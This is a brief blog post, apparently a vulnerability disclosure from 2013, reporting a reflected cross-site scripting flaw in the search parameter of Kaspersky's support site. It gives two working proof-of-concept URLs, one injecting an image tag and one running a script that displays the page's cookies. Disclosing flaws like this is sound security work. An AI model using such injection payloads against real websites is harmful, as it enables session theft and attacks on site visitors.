Kaspersky.com support page XSS bug

Vulnerable page: http://support.kaspersky.com/

PoC

http://support.kaspersky.com/search?query="><img src=http://te-home.net/images/logo.png>
http://support.kaspersky.com/search?query="><script>alert(document.cookie)</script>

You can either include any XSS code in search input box, or request any XSS code directly using GET method and query parameter.

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Postat av RoLex den 2013-11-26 15:48 ⋅ 0 likes

Kommentarer

There are no comments for this news article, you can leave one here.

← F-Prot Antivirus - XSS | Comodo.com still vulnerable to XSS →